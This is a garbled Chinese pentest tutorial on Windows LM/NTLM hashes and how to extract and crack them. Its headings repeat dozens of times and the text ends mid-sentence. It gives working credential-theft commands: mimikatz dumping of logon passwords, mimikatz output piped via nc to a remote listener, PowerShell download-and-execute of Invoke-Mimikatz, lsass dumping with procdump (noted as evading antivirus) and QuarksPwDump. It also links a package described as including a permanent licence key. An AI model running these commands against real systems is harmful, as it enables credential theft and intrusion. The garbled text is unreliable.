搜索

[6860] 2020-08-07_Windows用户密码的加密与破解利用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2020-08-07_Windows用户密码的加密与破解利用 W i n d o w s 用 户 密 码 的 加 密 与 破 解 利 用 E 安 全   2 0 2 0 - 0 8 - 0 7 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 国 光 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 研 究   H a s h c a t   的 时 候 涉 及 到 了   W i n d o w s   的 H a s h 破 解 ， 感 觉 这 个 地 方 还 是 有 一 些 姿 势 点 和 细 节 的 ， 特 写 此 文 章 记 录 之 。 N o . 1 N o . 1 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h 简 介 简 介 H a s h   一 般 翻 译 为 “ 散 列 ” ， 也 可 直 接 音 译 为 “ 哈 希 ” 的 。 这 个 加 密 函 数 对 一 个 任 意 长 度 的 字 符 串 数 据 进 行 一 次 加 密 函 数 运 算 ， 然 后 返 回 一 个 固 定 长 度 的 字 符 串 。 H a s h 主 要 用 于 信 息 安 全 领 域 中 加 密 算 法 ， 渗 透 测 试 中 获 取 目 标 系 统 的 明 文 或 H a s h 往 往 是 整 个 渗 透 测 试 过 程 中 重 要 的 一 环 。 在 W i n d o w s 系 统 中 本 机 用 户 的 密 码 H a s h 是 放 在 本 地 的 S A M 文 件 里 面 ， 域 内 用 户 的 密 码 H a s h 是 存 在 域 控 的 N T D S . D I T 文 件 里 面 。 N o . 2 N o . 2 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 W i n d o w s   H a s h 分 分 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 类 L M L M   H a s h 简 介 简 介 L A N   M a n a g e r （ L M ） 哈 希 是 W i n d o w s 系 统 所 用 的 第 一 种 密 码 哈 希 算 法 ， 是 一 种 较 古 老 的 H a s h ， 在 L A N   M a n a g e r 协 议 中 使 用 ， 非 常 容 易 通 过 暴 力 破 解 获 取 明 文 凭 据 。 它 只 有 唯 一 一 个 版 本 且 一 直 用 到 了 N T   L A N   M a n a g e r （ N T L M ） 哈 希 的 出 现 ， 在 W i n d o w s   V i s t a / W i n d o w s   7 / W i n d o w s   S e r v e r   2 0 0 8 以 及 后 面 的 系 统 中 ， L M 哈 希 算 法 是 默 认 关 闭 的 ， L M 算 法 是 在 D E S 基 础 上 实 现 的 ， 不 区 分 字 母 大 小 写 。 L M   H a s h 生 成 原 理 生 成 原 理 1 . 用 户 的 密 码 转 换 为 大 写 ， 密 码 转 换 为 1 6 进 制 字 符 串 ， 不 足 1 4 字 节 将 会 用 0 来 再 后 面 补 全 。 2 . 密 码 的 1 6 进 制 字 符 串 被 分 成 两 个 7 b y t e 部 分 。 每 部 分 转 换 成 比 特 流 ， 并 且 长 度 位 5 6 b i t ， 长 度 不 足 使 用 0 在 左 边 补 齐 长 度 3 . 再 分 7 b i t 为 一 组 , 每 组 末 尾 加 0 ， 再 组 成 一 组 4 . 上 步 骤 得 到 的 二 组 ， 分 别 作 为 k e y   为   K G S ! @ #   $ % 进 行 D E S 加 密 。 5 . 将 加 密 后 的 两 组 拼 接 在 一 起 ， 得 到 最 终 L M   H A S H 值 。 L M   H a s h 缺 点 缺 点 1 . 密 码 长 度 最 大 只 能 为 1 4 个 字 符 2 . 密 码 不 区 分 大 小 写 3 . 如 果 密 码 强 度 是 小 于 7 位 ， 那 么 第 二 个 分 组 加 密 后 的 结 果 肯 定 是 a a d 3 b 4 3 5 b 5 1 4 0 4 e e 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
4 . D e s 密 码 强 度 不 高 N T L M N T L M   H a s h 简 介 简 介 N T   L A N   M a n a g e r （ N T L M ） 哈 希 是 W i n d o w s 系 统 认 可 的 另 一 种 算 法 ， 用 于 替 代 古 老 的 L M - H a s h ， 一 般 指 W i n d o w s 系 统 下 S e c u r i t y   A c c o u n t   M a n a g e r （ S A M ） 中 保 存 的 用 户 密 码 h a s h ， 在 W i n d o w s   V i s t a / W i n d o w s   7 / W i n d o w s   S e r v e r   2 0 0 8 以 及 后 面 的 系 统 中 ， N T L M 哈 希 算 法 是 默 认 启 用 的 。 N T L M   H a s h 生 成 原 理 生 成 原 理 1 . 先 将 用 户 密 码 转 换 为 十 六 进 制 格 式 。 2 . 将 十 六 进 制 格 式 的 密 码 进 行 U n i c o d e 编 码 。 3 . 使 用 M D 4 摘 要 算 法 对 U n i c o d e 编 码 数 据 进 行 H a s h 计 算 p y t h o n 2   - c   ' i m p o r t   h a s h l i b , b i n a s c i i ;   p r i n t   b i n a s c i i . h e x l i f y ( h a s h l i b . n e w ( " m d 4 " ,   " P @ s s w 0 r d " . e n c o d e ( " u t f - 1 6 l e " ) ) . d i g e s t ( ) ) ' e 1 9 c c f 7 5 e e 5 4 e 0 6 b 0 6 a 5 9 0 7 a f 1 3 c e f 4 2 N o . 3 N o . 3 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 W i n d o w s   H a s h 抓 抓 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 取 m i m i k a t z 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z M i m i k a t z 是 一 个 开 源 的 项 目 ， 用 于 W i n d o w s 下 读 取 已 经 登 录 过 的 用 户 H a s h 和 明 文 密 码 ， 要 顺 利 的 读 取 密 码 必 须 具 有 A d m i n 或 者 S y s t e m 权 限 ， 所 以 它 也 是 内 网 渗 透 神 器 之 一 。 本 地 交 互 式 抓 取 本 地 交 互 式 抓 取 运 行 m i m i k a t z . e x e ， 弹 出 m i m i k a t z 的 窗 口 ， 输 入 如 下 命 令 ： 显 示 您 是 否 具 有 适 当 的 权 限 来 继 续 : m i m i k a t z   #   p r i v i l e g e : : d e b u g 启 动 日 志 记 录 功 能 : m i m i k a t z   #   l o g 输 出 存 储 在 此 计 算 机 上 的 所 有 明 文 密 码 : m i m i k a t z   #   s e k u r l s a : : l o g o n p a s s w o r d s 此 时 会 在 当 前 s h e l l 运 行 的 目 录 下 生 成 m i m i k a t z . l o g ， 这 里 面 记 录 了 抓 取 密 码 的 一 些 详 细 情 况 。
本 地 非 交 互 式 抓 取 本 地 非 交 互 式 抓 取 在 高 权 限 的 C M D 命 令 行 下 直 接 运 行 ： m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n p a s s w o r d s "   e x i t   >   m i m i k a t z . t x t 此 时 会 在 当 前 s h e l l 运 行 的 目 录 下 生 成 m i m i k a t z . t x t ， 这 里 面 记 录 了 抓 取 密 码 的 一 些 详 细 情 况 。 远 程 非 交 互 式 抓 取 远 程 非 交 互 式 抓 取 实 验 环 境 实 验 环 境 本 次 实 验 使 用 n c a t 来 做 消 息 反 弹 ， 不 知 道 n c a t 命 令 的 同 学 可 以 参 考 我 的 这 篇 文 章 ： n c 命 令 学 习 记 录 ( h t t p s : / / w w w . s q l s e c . c o m / 2 0 1 9 / 1 0 / n c . h t m l ) m a c O S m a c O S 本 机 提 前 做 好 监 听 : n c a t   - l v p   2 3 3 3 我 本 人 更 喜 欢 n c a t 命 令 多 一 点 ， 具 体 看 个 人 喜 好 。 W i n d o w s 这 里 为 了 方 便 我 把 n c . e x e 上 传 到 了 m i m i k a t z . e x e 的 同 目 录 下 了 ： C : m i m i k a t z _ t r u n k x 6 4 > m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n p a s s w o r d s "   e x i t   |   n c   - v   1 0 . 2 1 1 . 5 5 . 2   2 3 3 3 D N S   f w d / r e v   m i s m a t c h :   G G   ! =   G G . l a n G G   [ 1 0 . 2 1 1 . 5 5 . 2 ]   2 3 3 3   ( ? )   o p e n 效 果 效 果 这 样 操 作 完 成 后 ， 即 不 在 目 标 系 统 上 留 下 任 何 文 件 ， 直 接 把 抓 取 到 的 结 果 用 n c 发 送 到 指 定 的 远 程 机 ， 此 时 m a c O S 这 边 已 经 拿 到 返 回 的 密 码 信 息 了 ：
p o w e r s h e l l 加 载 加 载 m i m i k a t z 抓 取 抓 取 目 标 机 器 可 以 连 接 外 网 的 情 况 下 ： p o w e r s h e l l   I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / m a t t i f e s t a t i o n / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / I n v o k e - M i m i k a t z . p s 1 ' ) ;   I n v o k e - M i m i k a t z 内 网 的 情 况 下 可 将 脚 本 下 载 下 来 ， 自 己 搭 建 一 个 本 地 的 W e b 服 务 器 ， 通 过 内 网 I P 去 访 问 ： p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 2 1 1 . 5 5 . 2 / I n v o k e - M i m i k a t z . p s 1 ' ) ;   I n v o k e - M i m i k a t z 各 个 系 统 版 本 的 抓 取 样 本 各 个 系 统 版 本 的 抓 取 样 本 W i n d o w s   S e r v e r   2 0 0 3   R 2 A u t h e n t i c a t i o n   I d   :   0   ;   4 2 0 3 0 2   ( 0 0 0 0 0 0 0 0 : 0 0 0 6 6 9 c e ) S e s s i o n                       :   I n t e r a c t i v e   f r o m   0 U s e r   N a m e                   :   A d m i n i s t r a t o r D o m a i n                         :   G G 6 0 4 3 L o g o n   S e r v e r             :   G G 6 0 4 3 L o g o n   T i m e                 :   2 0 1 9 - 1 1 - 1 8   2 0 : 5 1 : 2 1 S I D                               :   S - 1 - 5 - 2 1 - 3 6 6 4 1 4 3 7 1 6 - 1 3 7 6 1 4 8 3 4 4 - 3 3 6 5 4 0 5 6 9 - 5 0 0         m s v   :         [ 0 0 0 0 0 0 0 2 ]   P r i m a r y         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 6 0 4 3         *   L M               :   8 9 6 1 0 8 c 0 b b f 3 5 b 5 c a a d 3 b 4 3 5 b 5 1 4 0 4 e e         *   N T L M           :   f 6 5 0 2 c b e 4 8 0 2 f 9 4 a b 4 7 2 2 8 8 9 7 0 c 1 2 4 c d         *   S H A 1           :   6 6 9 c 9 b 6 0 b 4 4 e 1 0 a a a 8 7 8 4 5 6 3 c 9 a 5 3 8 1 c 9 3 0 0 2 3 5 a         w d i g e s t   :         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 6 0 4 3         *   P a s s w o r d   :   P @ s s 1 2 3         k e r b e r o s   :         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 6 0 4 3         *   P a s s w o r d   :   P @ s s 1 2 3         s s p   :         c r e d m a n   : 主 要 有 如 下 的 关 键 信 息 ：
W i n d o w s   S e r v e r   2 0 0 8   R 2 A u t h e n t i c a t i o n   I d   :   0   ;   2 2 4 4 5 5   ( 0 0 0 0 0 0 0 0 : 0 0 0 3 6 c c 7 ) S e s s i o n                       :   I n t e r a c t i v e   f r o m   2 U s e r   N a m e                   :   A d m i n i s t r a t o r D o m a i n                         :   G G F 1 4 0 L o g o n   S e r v e r             :   G G F 1 4 0 L o g o n   T i m e                 :   2 0 1 9 / 1 1 / 1 8   2 3 : 3 2 : 0 8 S I D                               :   S - 1 - 5 - 2 1 - 3 1 1 1 4 7 4 4 7 7 - 8 1 5 0 5 0 0 7 5 - 7 1 2 0 8 4 3 2 4 - 5 0 0               m s v   :                 [ 0 0 0 0 0 0 0 3 ]   P r i m a r y                 *   U s e r n a m e   :   A d m i n i s t r a t o r                 *   D o m a i n       :   G G F 1 4 0                 *   L M               :   9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d                 *   N T L M           :   e 1 9 c c f 7 5 e e 5 4 e 0 6 b 0 6 a 5 9 0 7 a f 1 3 c e f 4 2                 *   S H A 1           :   9 1 3 1 8 3 4 c f 4 3 7 8 8 2 8 6 2 6 b 1 b e c c a a 5 d e a 2 c 4 6 f 9 b 6 3               t s p k g   :                 *   U s e r n a m e   :   A d m i n i s t r a t o r                 *   D o m a i n       :   G G F 1 4 0                 *   P a s s w o r d   :   P @ s s w 0 r d               w d i g e s t   :                 *   U s e r n a m e   :   A d m i n i s t r a t o r                 *   D o m a i n       :   G G F 1 4 0                 *   P a s s w o r d   :   P @ s s w 0 r d               k e r b e r o s   :                 *   U s e r n a m e   :   A d m i n i s t r a t o r                 *   D o m a i n       :   G G F 1 4 0                 *   P a s s w o r d   :   P @ s s w 0 r d               s s p   :               c r e d m a n   : W i n d o w s   S e r v e r   2 0 0 8   R 2   默 认 的 配 置 还 是 可 以 读 取 到 L M 类 型 的 H a s h 的 ， 与 网 上 的 理 论 不 符 合 ， 说 明 W I n d o w s   S e r v e r   2 0 0 8 R 2   与 W i n d o w s   7   依 然 没 有 完 全 禁 用 掉 L M 类 型 的 H a s h W i n d o w s   7   S P 1
A u t h e n t i c a t i o n   I d   :   0   ;   2 0 0 6 2 0 7   ( 0 0 0 0 0 0 0 0 : 0 0 1 e 9 c b f ) S e s s i o n                       :   I n t e r a c t i v e   f r o m   2 U s e r   N a m e                   :   A d m i n i s t r a t o r D o m a i n                         :   G G 3 7 B E L o g o n   S e r v e r             :   G G 3 7 B E L o g o n   T i m e                 :   2 0 1 9 / 1 1 / 1 8   2 2 : 3 6 : 1 3 S I D                               :   S - 1 - 5 - 2 1 - 1 9 9 6 1 9 8 2 5 8 - 1 6 1 7 8 6 5 3 7 9 - 4 1 8 4 5 6 7 3 5 5 - 5 0 0         m s v   :         [ 0 0 0 0 0 0 0 3 ]   P r i m a r y         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 3 7 B E         *   L M               :   9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 4 a 3 b 1 0 8 f 3 f a 6 c b 6 d         *   N T L M           :   e 1 9 c c f 7 5 e e 5 4 e 0 6 b 0 6 a 5 9 0 7 a f 1 3 c e f 4 2         *   S H A 1           :   9 1 3 1 8 3 4 c f 4 3 7 8 8 2 8 6 2 6 b 1 b e c c a a 5 d e a 2 c 4 6 f 9 b 6 3         t s p k g   :         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 3 7 B E         *   P a s s w o r d   :   P @ s s w 0 r d         w d i g e s t   :         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 3 7 B E         *   P a s s w o r d   :   P @ s s w 0 r d         k e r b e r o s   :         *   U s e r n a m e   :   A d m i n i s t r a t o r         *   D o m a i n       :   G G 3 7 B E         *   P a s s w o r d   :   P @ s s w 0 r d         s s p   :         c r e d m a n   : 主 要 有 如 下 的 关 键 信 息 ： W i n d o w s   1 0   1 9 0 3
A u t h e n t i c a t i o n   I d   :   0   ;   8 6 0 2 5 7 5 6   ( 0 0 0 0 0 0 0 0 : 0 5 2 0 a 6 1 c ) S e s s i o n                       :   I n t e r a c t i v e   f r o m   9 U s e r   N a m e                   :   s q l s e c D o m a i n                         :   M A C B O O K P R O L o g o n   S e r v e r             :   M A C B O O K P R O L o g o n   T i m e                 :   2 0 1 9 / 1 1 / 1 8   2 0 : 0 6 : 2 4 S I D                               :   S - 1 - 5 - 2 1 - 2 0 9 7 2 8 7 4 0 9 - 4 0 6 5 1 9 1 2 9 4 - 2 2 4 6 9 5 0 4 4 - 1 0 0 0               m s v   :                 [ 0 0 0 0 0 0 0 3 ]   P r i m a r y                 *   U s e r n a m e   :   s q l s e c                 *   D o m a i n       :   M A C B O O K P R O                 *   N T L M           :   f 0 0 a 2 5 4 1 8 f 1 2 8 d a a e f 2 b c 8 9 e d 9 4 4 1 6 b d                 *   S H A 1           :   5 6 d 7 7 4 1 b c a 8 9 5 5 2 3 6 2 f d 2 4 d 1 1 b b 8 9 8 0 e 3 d 8 a 4 4 4 c               t s p k g   :               w d i g e s t   :                 *   U s e r n a m e   :   s q l s e c                 *   D o m a i n       :   M A C B O O K P R O                 *   P a s s w o r d   :   ( n u l l )               k e r b e r o s   :                 *   U s e r n a m e   :   s q l s e c                 *   D o m a i n       :   M A C B O O K P R O                 *   P a s s w o r d   :   ( n u l l )               s s p   :               c r e d m a n   : 主 要 有 如 下 的 关 键 信 息 ： W i n d o w s   1 0 无 法 使 用 m i m i k a t z 读 取 到 明 文 密 码 ， 只 能 直 接 读 取 到 加 密 后 的 N T L M 值 。 P r o c D u m p   +   m i m i k a t z 官 网 地 址 ： P r o c D u m p   v 9 . 0 h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p r o c d u m p P r o c D u m p 是 一 个 命 令 行 程 序 ， 可 以 很 方 便 地 将 系 统 正 在 运 行 的 进 程 转 存 储 生 成 为 d u m p 文 件 又 因 为 是 微 软 自 家 出 品 ， 所 以 可 以 过 很 多 杀 软 。 d u m p   l s a s s . e x e 进 程 进 程
p r o c d u m p 6 4 . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p x 8 6   x 6 4   分 别 执 行 对 应 的 可 执 行 文 件   因 为 本 次 测 试 系 统 为   6 4 位   故 执 行   p r o c d u m p 6 4 . e x e 此 时 会 在 当 前 s h e l l 运 行 的 目 录 下 生 成 l s a s s . d m p ， 这 个 是 l s a s s . e x e 进 程 转 存 储 的 文 件 ， 里 面 记 录 了 H a s h 信 息 。 对 于 N T 6 及 其 以 上 的 系 统 也 可 以 使 用 W i n d o w s 自 带 的 功 能 进 行 d u m p : 任 务 管 理 器 点 击 显 示 所 有 用 户 的 进 程 ， 然 后 找 到   l s a s s . e x e 的 进 程 ， 右 键 ， 选 择 创 建 转 存 储 文 件 读 取 读 取 d m p 文 件 信 息 文 件 信 息 将 上 面 转 存 储 生 成 的 l s a s s . d m p 文 件 放 到 m i m i k a t z . e x e 的 同 目 录 下 ， 执 行 下 面 非 交 互 命 令 可 以 直 接 读 取 密 码 ： #   直 接 读 取 明 文 密 码 m i m i k a t z . e x e   " s e k u r l s a : : m i n i d u m p   l s a s s . d m p "   " s e k u r l s a : : t s p k g "   e x i t #   读 取 明 文 密 码   +   H a s h 值   信 息 更 全 m i m i k a t z . e x e   " s e k u r l s a : : m i n i d u m p   l s a s s . d m p "   " s e k u r l s a : : l o g o n P a s s w o r d s "   e x i t Q u a r k s P w D u m p Q u a r k s P w D u m p 是 一 个 W i n 3 2 环 境 下 系 统 授 权 信 息 导 出 工 具 ， 支 持 W i n d o w s 众 多 的 O S 版 本 ： X P / 2 0 0 3 / V i s t a / 7 / 2 0 0 8 / 8 ( W i n d o w s 1 0   国 光 测 试 失 败   并 没 有 成 功 读 取 到 H a s h ) 项 目 地 址 ：
h t t p s : / / g i t h u b . c o m / q u a r k s l a b / q u a r k s p w d u m p 目 前 作 者 只 是 开 源 了 源 代 码 ， 没 有 发 布 已 经 编 译 好 的 版 本 ， 所 以 大 家 使 用 的 话 得 寄 几 用 V S   S t u d i o 编 译 一 下 。 下 面 国 光 本 人 自 己 编 译 好 的 版 本 如 下 ， 有 需 要 的 朋 友 可 以 自 行 下 载 ： 文 件 名 ： Q u a r k s P w D u m p . e x e 下 载 地 址 ： h t t p s : / / u i j a y - m y . s h a r e p o i n t . c o m / : u : / g / p e r s o n a l / a y w t c _ m y o f f i c e _ f u n / E T c u C j m W y y l J k O 8 p 4 d t n J R 4 B z H b m g b 8 N q 7 m u s D 3 2 X N m b y Q ? e = 7 n A X H n 如 果 要 自 行 加 入 免 杀 功 能 的 话 ， 大 家 自 行 去 编 译 ， 这 里 国 光 用 的 是 V S   S t u d i o   2 0 1 0 编 译 的 ， 顺 便 附 上 下 载 地 址 ： 文 件 名 ： V C + + 2 0 1 0 学 习 版 和 永 久 使 用 注 册 码 . z i p 下 载 地 址 ： O n e D r i v e r 下 载 链 接 h t t p s : / / u i j a y - m y . s h a r e p o i n t . c o m / : u : / g / p e r s o n a l / a y w t c _ m y o f f i c e _ f u n / E b P p 8 H 8 F R L 9 I k o f M 3 5 X I n 7 A B 6 t A S a L P H t T 4 l 3 t 9 e 6 9 K x c Q ? e = z e c f J u )   另 外 G i t h u n 还 有 其 他 大 牛 已 经 编 译 好 了 更 新 的 版 本 ， 我 们 也 可 以 直 接 下 载 ： h t t p s : / / g i t h u b . c o m / r e d c a n a r i / q u a r k s p w d u m p / r e l e a s e s 这 个 新 的   Q u a r k s P w D u m p v _ 0 . 3 a 版 本 中 新 增 了 - s f 参 数 Q u a r k s P w D u m p 抓 取 密 码 的 命 令 如 下 : Q u a r k s P w D u m p . e x e   - d h l   - o   h a s h . t x t 抓 取 H a s h 并 在 同 目 录 下 生 成 h a s h . t x t 文 件 ， 抓 取 到 具 体 的 H a s h 如 下 ： G u e s t : 5 0 1 : A A D 3 B 4 3 5 B 5 1 4 0 4 E E A A D 3 B 4 3 5 B 5 1 4 0 4 E E : 3 1 D 6 C F E 0 D 1 6 A E 9 3 1 B 7 3 C 5 9 D 7 E 0 C 0 8 9 C 0 : : : A d m i n i s t r a t o r : 5 0 0 : A A D 3 B 4 3 5 B 5 1 4 0 4 E E A A D 3 B 4 3 5 B 5 1 4 0 4 E E : E 1 9 C C F 7 5 E E 5 4 E 0 6 B 0 6 A 5 9 0 7 A F 1 3 C E F 4 2 : : : 提 取 A d m i n i s t r a t o r 用 户 的 关 键 密 码 信 息 为 ： E 1 9 C C F 7 5 E E 5 4 E 0 6 B 0 6 A 5 9 0 7 A F 1 3 C E F 4 2 ， 他 实 际 上 是 P @ s s w 0 r d 的 N T L M 加 密 的 值 ， 可 以 用 H a s h c a t 来 进 行 破 解 N o . 4 N o . 4 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 H a s h W i n d o w s   H a s h 利 用 简 利 用 简 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 介 H a s h c a t 破 解 破 解 拿 到 L M 或 者 N T L M 的 密 文 时 ， 如 果 没 有 明 文 的 时 候 ， 最 直 接 的 方 法 当 然 是 直 接 将 其 解 密 啦 ， 这 里 使 用 H a s h c a t 来 进 行 密 码 解 密 ， 对 H a s h c a t 这 个 工 具 不 了 解 的 同 学 可 以 参 考 我 写 的 这 篇 文 章 ： H a s h c a t 学 习 记 录 h t t p s : / / w w w . s q l s e c . c o m / 2 0 1 9 / 1 0 / h a s h c a t . h t m l 假 设 我 们 读 取 到 H a s h 如 下 ： •   L M   :   9 2 1 9 8 8 b a 0 0 1 d c 8 e 1 4 a 3 b 1 0 8 f 3 f 